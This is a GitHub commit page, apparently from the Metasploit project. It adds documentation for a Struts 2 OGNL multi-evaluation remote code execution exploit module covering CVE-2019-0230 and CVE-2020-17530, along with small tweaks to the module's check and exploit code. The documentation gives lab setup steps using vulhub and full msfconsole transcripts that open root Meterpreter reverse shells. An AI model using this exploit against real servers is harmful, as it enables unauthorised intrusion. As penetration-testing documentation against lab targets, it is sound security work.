Skip to content

Commit

Permalink
Tweak the check method and add module docs
Browse files Browse the repository at this point in the history
  • Loading branch information
zeroSteiner committed Dec 16, 2020
1 parent 289605f commit 3d7ed70
Show file tree
Hide file tree
Showing 2 changed files with 153 additions and 3 deletions.
150 changes: 150 additions & 0 deletions documentation/modules/exploit/multi/http/struts2_multi_eval_ognl.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,150 @@
The Apache Struts frameworks, when forced, performs double evaluation of attributes' values assigned to certain tags
attributes such as id so it is possible to pass in a value that will be evaluated again when a tag's attributes will be
rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

This vulnerability is application dependant. A server side template must make an affected use of request data to render
an HTML tag attribute.

## Vulnerable Application
Vulnerable versions of struts for both CVEs are provided by [vulhub][1] on GitHub. The setup instructions are identical
for both, just use the provided files in the correct directory.

1. Use `git` to clone `https://github.com/vulhub/vulhub.git`.
1. Change directories into the one corresponding to the CVE that should be tested. For CVE-2019-0230, use
`struts2/s2-059` and for CVE-2020-17530, use `struts2/s2-061`.
1. From within the directory, run `docker-compose up -d`
1. (OPTIONAL) Run `docker-compose exec struts2 bash` to obtain an interactive shell within the container. This is useful
for debugging purposes.

* CVE-2019-0230 was patched in 2.5.20
* CVE-2020-17530 was patched in 2.5.26

### Example Setting Up CVE-2020-17530 / S2-061

```
[smcintyre@localhost ~]$ git clone https://github.com/vulhub/vulhub.git
Cloning into 'vulhub'...
remote: Enumerating objects: 234, done.
remote: Counting objects: 100% (234/234), done.
remote: Compressing objects: 100% (141/141), done.
remote: Total 10171 (delta 86), reused 191 (delta 69), pack-reused 9937
Receiving objects: 100% (10171/10171), 130.98 MiB | 8.36 MiB/s, done.
Resolving deltas: 100% (4014/4014), done.
[smcintyre@localhost ~]$ cd vulhub/struts2/s2-061
[smcintyre@localhost s2-061]$ docker-compose up -d
Creating network "s2-061_default" with the default driver
Pulling struts2 (vulhub/struts2:2.5.25)...
2.5.25: Pulling from vulhub/struts2
756975cb9c7e: Pull complete
d77915b4e630: Pull complete
5f37a0a41b6b: Pull complete
96b2c1e36db5: Pull complete
27a2d52b526e: Pull complete
93a36defce60: Pull complete
9e2014d79b30: Pull complete
ac71d4ce2ce4: Pull complete
a2f817e4badf: Pull complete
62ac51b7362f: Pull complete
e12f6705ebbe: Pull complete
4f4fb700ef54: Pull complete
97ba98138d72: Pull complete
Digest: sha256:eaf49b95f2c178cca77d3c8454f79a4fe4ed4dd9d342c9e9a911e842565217d2
Status: Downloaded newer image for vulhub/struts2:2.5.25
Creating s2-061_struts2_1 ... done
[smcintyre@localhost s2-061]$ docker-compose exec struts2 bash
root@d37b5ab61b87:/usr/src#
```

## Verification Steps

1. Install the vulnerable application, see the "Vulnerable Application" section.
1. Start `msfconsole`
1. Do: `use exploit/multi/http/struts2_multi_eval_ognl`
1. Set the `RHOSTS` and `CVE` options
1. Do: `run`

## Options

### NAME
The HTTP query parameter or form data name. This option is closely related to the vulnerability and will likely be
application specific in real world environments. This must be the name of a parameter sent through either a GET or POST
request to the application that is reflected back as an HTML attribute. The module's `check` method will utilize this
value to determine if it can be used to evaluate OGNL expressions.

## Scenarios

### CVE-2020-17530 From Vulhub

```
msf6 > use exploit/multi/http/struts2_multi_eval_ognl
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper
TARGET => Linux Dropper
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > check
[*] 192.168.159.128:8080 - The target appears to be vulnerable.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2020-17530
[*] Command Stager progress - 44.15% done (362/820 bytes)
[*] Sending stage (3008420 bytes) to 172.18.0.2
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.18.0.2:46770) at 2020-12-15 19:43:28 -0500
[*] Command Stager progress - 100.00% done (820/820 bytes)
meterpreter > getuid
Server username: root @ d37b5ab61b87 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 172.18.0.2
OS : Debian 10.6 (Linux 5.9.11-100.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

### CVE-2019-0230 From Vulhub

```
msf6 > use exploit/multi/http/struts2_multi_eval_ognl
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set CVE CVE-2019-0230
CVE => CVE-2019-0230
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper
TARGET => Linux Dropper
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > check
[*] 192.168.159.128:8080 - The target appears to be vulnerable.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2019-0230
[*] Command Stager progress - 44.15% done (362/820 bytes)
[*] Sending stage (3008420 bytes) to 172.19.0.2
[*] Command Stager progress - 100.00% done (820/820 bytes)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.19.0.2:47884) at 2020-12-15 19:47:10 -0500
meterpreter > getuid
Server username: root @ 91f7855f1eda (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 172.19.0.2
OS : Debian 10.5 (Linux 5.9.11-100.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

[1]: https://github.com/vulhub/vulhub
6 changes: 3 additions & 3 deletions modules/exploits/multi/http/struts2_multi_eval_ognl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Forced Double OGNL Evaluation',
'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
'Description' => %q{
The Apache Struts frameworks, when forced, performs double evaluation of attributes' values assigned to certain
tags attributes such as id so it is possible to pass in a value that will be evaluated again when a tag's
Expand Down Expand Up @@ -80,7 +80,7 @@ def check
res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
if res.nil?
return CheckCode::Unknown
elsif res.body.scan((num1 * num2).to_s).empty?
elsif res.body.scan(/(["'])\s*#{(num1 * num2).to_s}\s*\1/).empty?
return CheckCode::Safe
end

Expand All @@ -106,7 +106,7 @@ def exploit
when :unix_cmd
execute_command(payload.encoded, {cve: cve})
when :linux_dropper
execute_cmdstager({cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 400})
execute_cmdstager({cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512})
end
end

Expand Down

0 comments on commit 3d7ed70

Please sign in to comment.